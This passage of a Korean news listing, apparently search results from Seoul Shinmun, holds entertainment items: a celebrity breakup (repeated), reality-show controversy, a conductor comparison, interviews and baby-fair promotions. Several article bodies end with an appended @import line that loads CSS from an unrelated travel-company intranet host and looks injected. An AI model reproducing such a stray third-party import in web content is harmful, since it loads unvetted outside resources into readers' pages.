연기도 나쁘지 않지만 트래볼타의 액션 연기에 온통 눈길이 쏠린다. 백발백중의 총솜씨는 기본. 50대 중반의 나이에 스티븐 시걸처럼 현란한 육박전을 벌이고, 건물 지붕 위를 비호처럼 헤집고 다니는 등 온몸으로 연기한다. 포악한 외계인 장군으로 나오는 ‘배틀필드’(2000), 뚱뚱한 중년 여성을 연기한 ‘헤어스프레이’(2007)에 못지 않은 파격적인 외모 변신도 즐겁다. 삭발을 하고 등장한다. 묻지도 말고 따지지도 말고 그냥 즐기면 되는 팝콘 영화지만 그래도 아쉬움이 남는다. 영화에 등장하는 테러리스트들이 무게감이 없고 캐릭터도 구체적이지 않아 밋밋하다. 어른이 아이를 상대하듯 워낙 추풍낙엽이라 긴장감도 생기지 않는다. 뤽 베송이 ‘택시’, ‘트랜스포터’, ‘13구역’ 시리즈 등과는 달리 할리우드 배우를 투톱으로 내세웠지만 여전히 자신이 직접 연출했던 ‘니키타’나 ‘레옹’을 뛰어넘는 작품을 만들어내지 못한 것 같다. ‘13구역’과 ‘테이큰’으로 뤽 베송 사단에 합류한 피에르 모렐이 연출했다. 94분. 청소년 관람불가. 11일 개봉. 홍지민기자 icarus@seoul.co.kr
  • 노홍철-장윤정 만남에서 이별까지…

    노홍철-장윤정 만남에서 이별까지…

    연예계 공식커플 노홍철과 장윤정의 결별소식이 인터넷을 강타하고 있다. ‘잉꼬커플’로 알려진 두 사람은 만남에서 이별까지 어떤 과정을 밟아왔을까. 장윤정과 노홍철은 지난 해 5월 정식으로 교제를 결정, 6월 이 사실을 공식 발표했다. SBS ‘골드미스가 간다’ 녹화 촬영을 앞두고 교제를 인정하는 짤막한 입장 발표 자리를 가지기도 했다. 노홍철과 장윤정은 지난 2008년 10월부터 ‘골드미스가 간다’ 에 출연하며 자연스럽게 친분을 쌓았다. 2년 가까이 노홍철이 다양한 방법으로 장윤정에게 좋아하는 마음을 드러냈고, 지난해 5월 노홍철의 적극적인 구애에 장윤정은 마음을 열었다. 장윤정의 소속사 측은 장윤정과 노홍철이 교제를 시작한지 한 달 후 보도자료를 통해 “장윤정과 노홍철은 한 달 전부터 본격적인 만남을 갖기 시작했고 이제 서로의 마음을 갓 확인한 초보 연인이다.” 면서 “두 사람이 연인관계로 발전하게 된 데는 노홍철의 끊임없는 정성이 작용했다.” 고 밝히기도 했다. 한편 이들이 결별한 가장 큰 이유로 바쁜 스케줄, 성격 차이 등이 전해지고 있지만 아직 공식적인 입장은 밝혀지지 않은 상태다. 장윤정의 소속사측은 이번 결별설과 관련, 장윤정에게 사실을 확인한 뒤 공식 입장을 밝힐 것으로 알려졌다. 소속사 측이 결별설을 공식으로 인정하면 노홍철과 장윤정은 정식으로 교제한지 1년이 안 돼 각기 다른 길을 걷는 셈이 된다. 사진 = 서울신문NTN DB 서울신문NTN 백영미 기자 positive@seoulntn.com@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
  • 진퇴양난에 빠진 ‘우결’ 황우슬혜-이선호 커플

    진퇴양난에 빠진 ‘우결’ 황우슬혜-이선호 커플

    더 이상 빠져나갈 곳이 없다. MBC 가상결혼 버라이어티 ‘우리 결혼했어요’에 출연 중인 황우슬혜-이선호 커플이 안팎으로 여론의 뭇매를 맞고 있다. 출연 첫 회부터 재미가 떨어진다는 지적을 받아온 두 사람에 대한 시청자 반응은 회를 거듭할수록 더욱 심드렁해지고 있다. 최근에는 일부 선정적인 내용 때문에 경징계까지 받았다. ◆ “치마 좀 올리자”…선정성 논란 두 사람은 지난 1월 30일 방송 분에서 전파를 탄 발언 중 일부가 문제가 돼 최근 방송통신심의위원회(이하 방통심위)로부터 ‘의견제시’ 경징계를 받았다. 이날 방송분에서 이선호가 한 “날 덮치려고... 술 취한 슬혜를 데리고 내 방으로 왔어.”, “(드레스)좀 더 올리자.” 등 발언이 주말 저녁 지상파 내용으로는 문제의 소지가 될 부분이 있었다는 것. “직접적으로 성을 빗대지 않았다.”는 반대 의견도 적지 않으나 선정성과는 별개로 재미도 없고 공감도 사지 못하는 내용에 대해 “전파 낭비에 가깝다.”는 격한 반응까지 나오고 있다. ◆ “채널 돌리게 하는 마법”…공감 부족 이 커플은 함께 출연 중인 일명 ‘아담커플’(조권-가인)과 ‘용서커플’(정용화-서현)과 시청자 반응에서 극명한 대조를 이룬다. 10~20대 시청자들의 몰입을 유도하는 반면 두 사람의 내용이 와 닿지 않고 재미도 없다는 것. 실제로 다른 커플들과 달리 고급 아파트에 살면서 함께 요가를 배우고 크루즈 여행을 하는 등 다소 리얼리티 떨어지는 배경에서 예능 초보인 두 사람이 재미를 만들어 내는 건 불가능에 가까워 보인다. ‘우결’ 시즌 2를 한회도 빠짐없이 봤다는 20대 여성 시청자는 “몇 회보다가 지겨워서 이젠 보지 않는다.”면서 “둘이 나오면 다른 채널로 돌렸다가 다른 커플이 나올 때만 ‘우결’을 본다.”고 털어놨다. ◆ 거듭되는 논란…”문제는 無재미?” 사실 이 커플이 논란에 휘말린 건 이번이 처음이 아니다. 지난 밸런타인데이 황우슬혜가 이선호에게 선물한 초콜릿과 관련해 조작의혹을 빚었으며 초반 황우슬혜가 이선호에게 “오빠”라는 호칭을 썼는데 실제로 연상인 것이 알려지면서 리얼리티 논란을 빚기도 했다. 유독 두 사람만 거듭 논란에 휘말리는 원인은 뭘까. 많은 이들은 재미와 리얼리티란 두 마리 토끼를 잡지 못한 두 사람에 대한 시청자들의 냉담한 시선이 저변에 깔려 있다는 의견에 동의한다. 한 시청자는 “바람직한 현상은 아니지만 재미만 있으면 욕하면서라도 보는 것이 예능 프로그램”이라면서 “재미도 없고 공감도 떨어지고 일부 문제 장면까지 방송돼 계속 논란에 휩싸이는 두 커플의 출연에 대한 제작진의 조치가 필요해 보인다.”고 말했다. 서울신문 나우뉴스 강경윤기자 newsluv@seoul.co.kr@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
  • 노홍철-장윤정, 만남에서 이별까지…

    노홍철-장윤정, 만남에서 이별까지…

    연예계 공식커플 노홍철과 장윤정의 결별소식이 인터넷을 강타하고 있다. ‘잉꼬커플’로 알려진 두 사람은 만남에서 이별까지 어떤 과정을 밟아왔을까. 장윤정과 노홍철은 지난 해 5월 정식으로 교제를 결정, 6월 이 사실을 공식 발표했다. SBS ‘골드미스가 간다’ 녹화 촬영을 앞두고 교제를 인정하는 짤막한 입장 발표 자리를 가지기도 했다. 노홍철과 장윤정은 지난 2008년 10월부터 ‘골드미스가 간다’ 에 출연하며 자연스럽게 친분을 쌓았다. 2년 가까이 노홍철이 다양한 방법으로 장윤정에게 좋아하는 마음을 드러냈고, 지난해 5월 노홍철의 적극적인 구애에 장윤정은 마음을 열었다. 장윤정의 소속사 측은 장윤정과 노홍철이 교제를 시작한지 한 달 후 보도자료를 통해 “장윤정과 노홍철은 한 달 전부터 본격적인 만남을 갖기 시작했고 이제 서로의 마음을 갓 확인한 초보 연인이다.” 면서 “두 사람이 연인관계로 발전하게 된 데는 노홍철의 끊임없는 정성이 작용했다.” 고 밝히기도 했다. 한편 이들이 결별한 가장 큰 이유로 바쁜 스케줄, 성격 차이 등이 전해지고 있지만 아직 공식적인 입장은 밝혀지지 않은 상태다. 장윤정의 소속사측은 이번 결별설과 관련, 장윤정에게 사실을 확인한 뒤 공식 입장을 밝힐 것으로 알려졌다. 소속사 측이 결별설을 공식으로 인정하면 노홍철과 장윤정은 정식으로 교제한지 1년이 안 돼 각기 다른 길을 걷는 셈이 된다. 사진 = 서울신문NTN DB 서울신문NTN 백영미 기자 positive@seoulntn.com@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
  • [깔깔깔]

    ●돌팔이 의사와 환자 환자:“기분이 엉망입니다.” 의사:“음주량을 줄이세요.” 환자:“술은 아예 안 마시는데요.” 의사:“그럼 담배를 줄이시고….” 환자:“담배는 안 피웁니다.” 의사:“그럼 여자를 좀 멀리하세요.” 환자:“여자 곁에 가본 적도 없어요.” 의사:“그렇다면 술 좀 마시고, 담배도 해보고, 여자도 한둘 사귀어 봐요.” ●초보 누드모델 한 교수의 권유로 처음 미대 수업에 나가게 된 초보 누드모델. 강의실에 들어서자 앞쪽에 의자가 놓여 있었다. 모델은 ‘여기 앉으라는 건가 보다’ 생각하며 옷을 벗기 시작했다. 그런데 하나둘씩 들어오는 학생들이 키득대는 게 아닌가. 당황한 모델은 몸에 뭐라도 묻었나 싶어 두리번거렸다. 때마침 들어온 교수가 하는 말. “여기는 정물화반이에요. 의자를 그리는 중이었는데….”
  • 지휘자따라 베토벤이 왜 다르게 들릴까

    지휘자따라 베토벤이 왜 다르게 들릴까

    “베토벤 교향곡 5번은 카롤로스 클라이버가 지휘한 1974년 음반이 최고다. 그 추진력을 보라.”, “클라이버는 깊이가 없다. 칼 뵘이 지휘한 1970년 음반을 들어 보라. 냉정하게 베토벤을 성찰하고 있다.” 도통 무슨 말인지 모르겠다. 베토벤 교향곡 5번이면 다 같은 5번이지, 지휘자에 따라 음악이 다르단다. 클래식 애호가 사이트에 씌어 있는 이런 식의 평가는 초보자들에겐 그저 ‘소귀에 경읽기’일 뿐이다. 초보자들이 지휘자의 차이를 배워 볼 만한 좋은 교재, 어디 없을까. ●토스카니니 vs 푸르트뱅글러 여기 최근 발매된 두 클래식 앨범이 있다. 하나는 안동림의 불멸의 지휘자 시리즈 ‘아르투로 토스카니니’고 다른 하나는 ‘빌헬름 푸르트뱅글러’다. 지휘자들의 예술혼을 조명한 안동림 음악평론가의 저서 ‘불멸의 지휘자’가 시리즈로 재탄생한 음반들이다. 두 지휘자는 20세기 중반을 풍미했던 지휘계의 전설들이다. 스타일 자체가 워낙 다르고 극단적으로 다른 해석을 보여줘 초보자들도 그 차이를 쉽게 느낄 수 있다. 가령, 토스카니니는 작곡가가 악보에 남긴 것을 그대로 재현하는 데 주안점을 뒀다. 리듬과 템포(속도)를 정확히 지키며 결코 작곡가의 의도를 과장하지 않았다. 반면 푸르트뱅글러는 작곡가의 의도를 뛰어넘었다. 자신이 곡에서 느꼈던 감동을 그대로 재현하려 했다. 그만의 직관과 영감으로 곡을 재해석하는 식이다. 그리스 신화의 이성의 신(神) 아폴론과 감성의 신 디오니소스의 차이라고나 할까. 이런 음악관의 차이 때문에 토스카니니는 푸르트뱅글러에 대해 “작품에 나타나는 것들을 짓눌러 이 곡에 담겨 있는 숭고한 요소를 필요 이상으로 강조했다.”고 비난하며 ‘아마추어’라고 격하하기도 했다. ●같은 곡 다른 해석 ‘좋은 교재’ 이 음반에서도 두 지휘자의 특징이 그대로 묻어난다. 음반에 담겨져 있는 베토벤 교향곡 3번 ‘영웅’을 들어 보면 그 차이를 쉽게 가늠할 수 있다. 토스카니니의 영웅 교향곡이 좀 더 날렵하고 직선적인 모습이라면 푸르트뱅글러의 영웅 교향곡은 풍성한 음색으로 뜨거운 감동을 전한다. 두 지휘자가 추구한 음악관 그대로다. 함께 담겨 있는 슈베르트 교향곡 8번 ‘미완성’과 바그너의 서곡들도 마찬가지다. 이렇게 스타일은 다르지만 모두 20세기 최고의 해석이라는 점에서는 의심의 여지가 없다. 지휘자의 해석 역량이 얼마나 큰지 초보자들이 쉽게 배울 수 있는 교재인 셈이다. 음반을 들어 보며 내가 과연 어떤 스타일의 해석을 좋아하는지 생각해 보는 건 어떨까. 불멸의 지휘자 시리즈에는 토스카니니와 푸르트뱅글러만 있는 게 아니다. 그들만큼이나 다른 음악 스타일로 라이벌 관계에 있었던 ‘브루노 발터’와 ‘오토 클럼페러’의 음반도 담겨 있다. 유연한 해석을 보여줬던 발터, 올곧은 해석의 클럼페러도 훌륭한 비교 대상이다. 이경원기자 leekw@seoul.co.kr
  • 윤상현 “입담 강한 강호동이 롤 모델”

    윤상현 “입담 강한 강호동이 롤 모델”

    배우 윤상현이 MC 강호동을 닮고 싶다고 밝혔다. 좌중을 이끄는 힘 넘치는 진행이 매력적이기 때문이다. 현재 SBS ‘패밀리가 떴다2’(이하 패떳2)에 출연중인 윤상현은 5일 목동 SBS 홀에서 진행된 기자간담회에 참여했다. 윤상현은 배우고 싶은 방송인이 누구냐는 질문에 “강호동처럼 입담이 강한 예능인이 되고 싶다.”고 답했다. 윤상현은 “배우로 활동한지 벌써 6년이라 연기에는 자신있으나 예능은 왕초보”라며 “강호동같은 터프한 스타일이 좋다. 그는 강약 조절이 뛰어나고 목소리 톤에 기복이 있기 때문에 지루하지 않다.”라고 전했다. 이날 윤상현은 예능 출연에 대한 고민도 털어놨다. 그는 “예능은 참 어려운 숙제”라며 “시청자를 웃기고 싶어서 유머책을 하나 샀는데 3페이지 보고 덮었다. 공부보단 실전에서 익혀야 할 것 같다.”라고 말해 주변을 폭소케 했다. 한편 윤상현은 MBC ‘내조의 여왕’과 KBS ‘아가씨를 부탁해’ 등 인기 드라마를 통해 스타덤에 올랐다. 현재 윤상현은 SBS ‘패떳2’를 통해 순수한 매력을 뽐내 팬들의 사랑을 받고 있다. 서울신문NTN 김경미 기자 84rornfl@seoulntn.com / 사진 = 강정화 기자@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
  • 허경환 “초콜릿 복근 비결은 KBS 헬스장” (인터뷰)

    허경환 “초콜릿 복근 비결은 KBS 헬스장” (인터뷰)

    “이 자슥이 회전의자에 꽁꽁 묶여 수십 바퀴 돌리고 토해봐야, 아~ 이래서 오셔 코치가 김연아의 등을 두드렸구나 할거야!” 3년 전 풋풋한 새내기로 KBS ‘개그콘서트(이하 개콘)’의 무대를 통해 등장한 개그맨 허경환(29)의 ‘웃음무기’가 해를 거듭할수록 강력해지고 있다. 데뷔 초인 3년전만 하더라도 잘 생긴 외모에 비해 개그적인 요소가 부족했던 탓인지, 이 코너 저 코너를 배회하며 시청자들로부터 크게 주목받지 못했던 개그맨 중 하나가 허경환이었다. 같은 공채출신인 KBS 22기 개그맨들 중 몇몇이 개콘 인기코너에 배치되며 이름 석자를 서서히 알리는 와중에도 그는 선뜻 그 대열에 합류하지 못했다. 그런 허경환이 지난해부터 ‘개그본색’을 찾기 시작했다. 주먹을 쥐었다가 풀면서 손을 앞으로 내미는 동작을 곁들인 유행어 “있는데~”가 서서히 시청자들의 웃음을 사더니, 가슴을 풀어헤치며 무대 위에 뛰쳐 나와 “이 자슥이~’”라는 ‘협박개그’를 구사하면서부터는 개콘의 히든카드가 됐다. 물론 인기를 얻은 만큼 감투도 뒤따랐다. 연말에 열린 ‘2009 KBS 연예대상’에서 그는 코미디 부문 남자 신인상을 수상하며 영광스런 2009년을 보냈다. 해가 바뀐 올해에도 그의 활동반경은 더 넓혀지고 있는 분위기다. 개콘의 ‘봉숭아학당’을 비롯해 KBS 2 ‘스타골든벨’, KBS라디오 ‘황정민의 FM 대행진’ , 라디오 CF 등에 출연하며 숨돌릴 틈 없는 일정을 소화하고 있다. “다 ‘도움이’들 덕분이죠.” 최근 자신이 운영하고 있는 경기도 부천의 한 레스토랑에서 만난 허경환은 오늘의 자신을 있게 한 것은 주변의 많은 ‘도우미’ 분들이 있었기 때문이라며 공을 그들에게 돌렸다. 아는 사람은 알겠지만 허경환은 개콘에서 ‘완소남’을 통해 첫 무대를 밟았다. 당시 그는 여자친구의 기세에 눌려 툭하면 “으~”하며 울먹이는 말투를 내뱉는 소심한 경상도 남자 캐릭터를 연기했었다. 그러나 나름 인기도 있었던 코너로 기억되는데도 정작 허경환 본인은 ‘완소남’이라는 코너만 생각하면 부끄럽고 개그 초보자에 불과했던 자신의 실력이 형편없었다며 민망스러워 한다. “실패한 코너였다고 생각해요. 너무 자만하고 인기만 좇았으니까요. 지나고 나서 하는 말이지만 쉽게 (개그맨 생활에 대한) 적응도 잘 안되더라고요. 나름대로 슬럼프였습니다.” 당시 의기소침하며 힘들어하던 그를 오늘의 자리에 있도록 붙잡았던 이는 개콘의 메인작가인 이상덕 작가다. 그는 ‘완소남’ 당시 힘들어하던 허경환에게 “너는 내가 볼 때 가능성이 보이는 개그맨이다. 잘 해보자.”고 독려했고 허경환과 함께 같이 밤을 새우며 아이디어를 짜냈다고 한다. 메인작가가 연기자들과 밤새며 아이템을 구상하는 케이스는 극히 드물다. 이 작가와 함께 생사고락을 함께한 개그맨 동기들도 허경환으로선 고마운 ‘도우미’들이다. 박선광, 박지선을 비롯해 곽현화, 박영진, 이광섭, 송종근, 최효종, 성현주, 허미영 등이 모두 허경환과 같은 KBS 22기 개그맨들로, 이들은 현재 개콘의 주요 인기코너를 주름잡고 있는 ‘막강 22기’이기도 하다. 허경환은 많은 동기들 중 유독 같은 소속사 친구이면서도 ‘봉숭아 학당’의 맞상대인 박영진에 남다른 애정을 갖고 있다. 인터뷰 도중 박영진을 칭찬하는 것 같으면서도 은근슬쩍 과소평가(?)하는 뉘앙스만 봐도 그렇다. “영진이는 개그맨들 사이에서 ‘10년 뒤 가장 잘될 것 같은 개그맨 1위’로 꼽힐 정도로 실력이 뛰어난 친구죠. 그런데 희한하게도 처음엔 나보고 ‘재미없다’고 해놓고선 요즘에는 그 친구가 재미없던데요. 영진이는 잘 나가다가도 연말 시상식 직전만 되면 재미없어지는 특별한 징크스를 갖고 있나봐요.(웃음)” 허경환의 남모르는 ‘도우미’로는 그에게 가수로의 첫 발을 내딛도록 도와준 고향 형도 있다. 자신의 유행어인 ‘있는데’를 테마로 한 디지털 앨범을 발매할 당시 노래를 직접 작곡해준 장본인이다. 때문에 허경환은 “형한테 너무 고마워서 디지털 음원 저작료는 전적으로 그 형에게 맡긴다.”는 입장이다. 이밖에 ‘도우미(?)’ 인지는 모르겠으나 최근 허경환을 둘러싸고 재미있는 오해를 불러일으킨 후배 개그맨 오나미의 존재도 허경환에겐 빼놓을 수 없는 주변인이다. 얼마 전 허경환을 들어 “내 이상형”이라고 발언해 언론의 주목을 받았기 때문. 그러나 허경환은 “오나미가 갑자기 (보도 직후) 선배를 좋아한다고 (기자들에) 얘기했는데 일이 커질 것 같다고 해 처음 알게 됐다.”면서 “거기에 대한 코멘트는 회피하고 싶다.”고 살짝 웃는다. 더 이상 일(?)을 키우기 싫어서란다. ’승승장구’ 허경환의 인기비결은 ‘있는데~’와 ‘협박개그’에도 보여지듯 철저히 아이템 중심의 개그를 펼치고 있다는데 있다. 기본 개그 컨셉트에 그 어떤 사례를 대입해도 웃음을 유발할 수 있는 개그인 것이다. 여기에 많은 여성팬들이 허경환을 찾는 이유이기도 한, 몇 안되는 ‘몸짱 개그맨’이라는 점도 허경환의 트레이드 마크 중 하나다. 특히 ‘초콜릿 복근’은 최근 들어 드라마나 영화, 방송 등에서 많은 ‘몸짱’ 남자 연예인들이 주목받는 것과 비교해서도 결코 뒤쳐지지 않는 ‘명품 복근’ 소유자다. 재미있는 사실은 초콜릿 복근의 탄생장소가 번듯한 대형 헬스클럽이 아닌 자신의 일터(?)인 KBS 건물내 헬스장이라는 점. “제 복근요? 주로 KBS 직원들이 쓰고 연예인들은 잘 안 쓰는 구내 헬스장에서 만들어진 겁니다. (웃음) 아이템 회의도 해야하고 녹화도 해야돼서 시간이 없어요. 이왕이면 매일같이 출근하는 일터에서 운동하면 좋잖아요. 그런데 여기 헬스기구는 그다지 좋지는 않네요.(웃음)” 프로 스포츠에서 흔히 ‘2년차 징크스’라는 말이 있다. 전년도 신인상을 수상한 루키선수들은 다음해에는 기량을 제대로 펴보지 못하고 징크스에 빠진다는 속설이다. 개그맨 허경환에게도 어쩌면 2010년은 ‘2년차 징크스’에 빠질 수 있는 모험의 시기일 수도 있다. 하지만 탄탄한 몸매 만큼이나 서서히 관록의 경지를 향해 가고 있는 당찬 개그맨인 그이기에 ‘루키 개그맨’ 허경환의 2010년은 기대치가 높다. 서울신문NTN 김진욱 기자 action@seoulntn.com / 사진=한윤종 기자@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
  • 초보맘들 위해 준비했어요

    초보맘들 위해 준비했어요

    임신과 출산, 육아를 준비하는 예비 엄마들은 마음이 불안할 수 있다. 무엇보다 육아정보가 부족하기 때문이다. 초보맘을 돕는 다양한 행사와 제품이 쏟아지고 있다. 11일부터 14일까지 서울 코엑스에서 열리는 ‘17회 서울국제 임신·출산·육아용품 전시회(코엑스 베이비페어)’ 개막을 앞두고 예비 부모를 대상으로 하는 이벤트를 연다. 주최사인 ㈜이플러스는 21일까지 베이비페어 홈페이지(www.babyfair.co.kr)를 통해 ‘곶감 먹고 백호를 이겨라’를 진행한다. 추첨을 통해 교원 와우 연수기, 잉글레시나 매그넘 유모차 등 5000만원어치 경품을 제공한다. 또 코엑스 베이비페어의 온라인 쇼핑몰 베페몰(mall.babyfair.co.kr)에서 10만원 이상 구매하면 참가업체들의 샘플과 사은품을 모아 만든 19종 베페 선물팩을 증정한다. 유럽형 유아용품 브랜드 리안도 8일까지 리안 로데오 2010유모차를 선착순 100명에게 40% 할인가에 판매한다. 네덜란드 브랜드 줄즈도 최근 출시한 유모차 ‘줄즈 데이’의 체험단을 8일까지 모집해 30% 특가에 제공한다. 옥션은 남양유업과 함께 17일 임신육아교실을 개최한다. 이 무료 강좌는 서울 중랑구민회관에서 진행되는데 안전한 출산, 임신 중 건강한 생활, 올바른 육아 정보 등 예비 엄마들을 위한 유용한 정보들이 가득하다. 참가자는 5일부터 옥션 홈페이지(www.auction.co.kr)에서 접수한다. 하기스 출산팩, 맘스튜디오 예비맘 촬영권, 한경희 스팀청소기 등 푸짐한 경품을 나눠준다. 모아베이비는 유모차 신제품 7종을 들고 왔다. 서스펜션 달린 바퀴로 안정성과 승차감을 높인 모피어스(57만원), 아기의 민감한 피부를 고려해 친환경 소재 오가닉을 사용한 골드 오가닉(51만 8000원), 실속형 제품 라이트(35만 8000원)와 크루즈(29만 8000원) 등 가격대가 다양하다. 야외활동이 잦아지는 아이들 피부에 대한 걱정도 있을 수 있다. 4~10세에 해당한다면 LG생활건강이 새로 출시한 천연성분 함유 스킨케어 ‘비욘드 키즈’ 4종을 추천할 만하다. 교원L&C 마무화장품의 유아·어린이 전용 제품인 ‘마무 아토 프리’도 입소문을 타고 있는 제품이다. 피부 유해 성분을 배제해 외부 자극에 민감한 아이들 피부를 건강하게 가꿔준다. 강아연기자 arete@seoul.co.kr
  • 올스타, ‘적벽’ 이벤트 진행

    올스타, ‘적벽’ 이벤트 진행

    KTH’올스타’는 국가대전 RPG ‘적벽’에서 새로운 주제의 다양한 이벤트를 진행한다고 3일 밝혔다.’영웅이여 일어나라’라는 타이틀로 22일까지 진행되는 이번 이벤트에는 15세 이상 ‘올스타’ 회원이라면 누구나 참여할 수 있고, 이벤트 참가자 전원에게 유료 아이템 지급은 물론, 총 144명에게 푸짐한 현물 경품이 제공된다.우선, 게임을 처음 접한 초보 유저를 위해 ‘초보 영웅의 자격’ 이벤트를 진행하고, 이벤트 기간 동안 20등급(레벨)을 달성한 유저들 중 101명에게 넷북, 문화상품권 등을 지급하며, 20등급이 안 되는 모든 캐릭터에는 게임 플레이에 도움이 되는 아이템 3종 세트가 100% 지급된다.두 번째, ‘천하무적 적벽군단’ 이벤트에서는 결의(길드)나 군단(국가전쟁을 위한 기본 조직)을 새로 설립한 모든 결의장과 군단장에게 게임 속 화폐인 ‘금전’과 전 채널에서 동시 채팅을 할 수 있는 ‘천리전음’ 아이템을 제공한다.마지막 이벤트인 ‘일일 퀘스트 탐구생활’은 하루에 한 번 진행할 수 있는 ‘보물찾기’, ‘낚시’, ‘호위’ 퀘스트에 대한 스크린샷을 공식 웹사이트에 등록하면, 퀘스트 종류에 따라 ‘순금 돼지 핸드폰 줄’, ‘텐트’, ‘디지털 도어락’ 등 색다른 경품을 지급하는 이벤트다.KTH 게임사업본부 이우창 브랜드 매니저는 “이번 이벤트는 유저들이 ‘적벽’을 보다 다양하고 재미있게 즐기는데 도움을 주기 위해 준비한 것”이라며, “앞으로도 게임 속의 차별화된 콘텐츠를 체험할 수 있는 이벤트를 지속적으로 진행할 예정”이라고 전했다.한편, 공개서비스 이후 40만 명 이상이 게임을 체험한 것으로 나타난 <적벽>은 인기 속에 안정적인 서비스를 제공중이며, 새로운 무기와 전장 공개를 앞두고 있다. 사진=KTH서울신문NTN 차정석 기자 cjs@seoulntn.com@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
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